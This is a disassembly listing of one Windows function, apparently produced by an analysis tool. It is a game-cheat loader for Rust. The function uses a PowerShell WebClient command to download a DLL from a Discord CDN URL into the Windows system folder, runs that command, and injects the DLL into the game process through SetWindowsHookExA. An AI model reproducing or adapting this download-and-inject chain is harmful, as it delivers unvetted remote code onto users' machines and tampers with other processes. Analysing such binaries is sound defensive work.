Function at 0x140002b10
Capabilities:
Check if file exists
Delete file
Execute command
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x1f], rbx
mov qword [rbp + 0x27], rbx
mov r8d, 0xb3
lea rdx, str.https:__cdn.discordapp.com_attachments_817171441468047370_1212231653871587428_1337.dll_ex65f115b4is65dea0b4hm349246b4741ed26e0b6663065927094b0af6a93f4d74bccff91be5fbfcb9db68
lea rcx, [rbp + 0xf]
call fcn.140001960
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], rbx
mov qword [rbp - 0x19], rbx
lea r8d, [rbx + 0x1a]
lea rdx, str.C:WindowsSystem1337.dll
lea rcx, [rbp - 0x31]
call fcn.140001960
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp + 0x1f]
sub rax, r15
cmp rax, 0x45
jb 0x140003260
lea r13, [rbp + 0xf]
mov rsi, qword [rbp + 0xf]
mov r14, qword [rbp + 0x27]
cmp r14, 0xf
cmova r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r12, [r15 + 0x45]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp r12, rbx
jbe 0x140002c61
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002c1c
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400033e8
test rax, rax
je 0x140002c44
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002c5c
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002c4b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003266
jmp 0x140002c01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002c5a
call fcn.1400033e8
mov rdi, rax
jmp 0x140002c5c
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [str.powershell__Command___New_Object_System.Net.WebClient_.DownloadFile_]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x1400055a0]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x1400055b0]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x1400055c0]
movups xmmword [rdi + 0x30], xmm1
mov eax, dword [0x1400055d0]
mov dword [rdi + 0x40], eax
movzx eax, byte [0x1400055d4]
mov byte [rdi + 0x44], al
lea rcx, [rdi + 0x45]
mov r8, r15
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r12], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140002cfe
lea rax, [rcx + 4]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
mov dword [rax + rcx], 0x27202c27
mov byte [rax + rcx + 4], 0
lea rax, [rsp + 0x30]
jmp 0x140002d1f
mov qword [rsp + 0x20], 4
lea r9, str.__
xor r8d, r8d
lea edx, [r8 + 4]
lea rcx, [rsp + 0x30]
call fcn.140001af0
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x49], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x49], xmm1
xor r15d, r15d
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rdx, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova rdx, qword [rbp - 0x31]
mov r8, qword [rbp - 0x21]
lea rcx, [rbp - 0x59]
call fcn.1400032b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x69], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x79], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x69], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rcx, qword [rbp - 0x69]
mov rdx, qword [rbp - 0x61]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140002de0
lea rax, [rcx + 3]
mov qword [rbp - 0x69], rax
lea rbx, [rbp - 0x79]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x79]
add rbx, rcx
lea r8d, [r15 + 3]
lea rdx, [0x140005584]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], r15b
lea rax, [rbp - 0x79]
jmp 0x140002e00
mov qword [rsp + 0x20], 3
lea r9, [0x140005584]
xor r8d, r8d
lea edx, [r8 + 3]
lea rcx, [rbp - 0x79]
call fcn.140001af0
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 1], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x140002e6b
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003424
movdqa xmm0, xmmword [0x1400056d0]
movdqu xmmword [rbp - 0x69], xmm0
mov byte [rbp - 0x79], 0
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x140002eba
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002eb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002eb5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003424
movdqa xmm0, xmmword [0x1400056d0]
movdqu xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x59], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002f0b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003424
movdqa xmm0, xmmword [0x1400056d0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem1337.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140002f50
lea rdx, str.__ERROR:__Outdated__
jmp 0x140003026
xor edx, edx
lea rcx, str.UnityWndClass
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x140002fa0
lea rdx, str.__ERROR:_Rust_is_not_running__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001700
lea rdx, [0x140001c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140003042
mov dword [rbp - 0x39], r15d
lea rdx, [rbp - 0x39]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
test eax, eax
jne 0x140002fc0
lea rdx, str.__ERROR:_3__
jmp 0x140003026
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, str.C:WindowsSystem1337.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rbx, rax
test rax, rax
jne 0x140002fe4
lea rdx, str.__ERROR:_4__
jmp 0x140003026
lea rdx, str.NextHook
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140003002
lea rdx, str.__ERROR:_5__
jmp 0x140003026
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
test rax, rax
jne 0x140003128
lea rdx, str.__ERROR:_6__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001700
lea rdx, [0x140001c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x14000308b
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003086
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000318e
call fcn.140003424
movdqa xmm0, xmmword [0x1400056d0]
movdqu xmmword [rbp - 1], xmm0
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp - 0x19]
cmp rdx, 0xf
jbe 0x1400030d7
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400031dd
call fcn.140003424
mov qword [rbp - 0x21], r15
mov qword [rbp - 0x19], 0xf
mov byte [rbp - 0x31], 0
cmp r14, 0xf
jbe 0x14000311e
lea rdx, [r14 + 1]
mov rcx, rsi
cmp rdx, 0x1000
jb 0x140003116
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rcx, rsi
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x140003224
mov rcx, rsi
call fcn.140003424
mov eax, 1
jmp 0x140003233
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, edi
call qword [sym.imp.USER32.dll_PostThreadMessageA]
lea rdx, str.__SUCCESS___Cheat_successfully_loaded.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001700
lea rdx, [0x140001c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x14000319a
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003195
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003195
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003424
movdqa xmm0, xmmword [0x1400056d0]
movdqu xmmword [rbp - 1], xmm0
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp - 0x19]
cmp rdx, 0xf
jbe 0x1400031e9
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400031e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003424
mov qword [rbp - 0x21], r15
mov qword [rbp - 0x19], 0xf
mov byte [rbp - 0x31], 0
cmp r14, 0xf
jbe 0x140003233
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000322b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000322b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140003424
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140003760
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003290
nop
call fcn.140003270
int3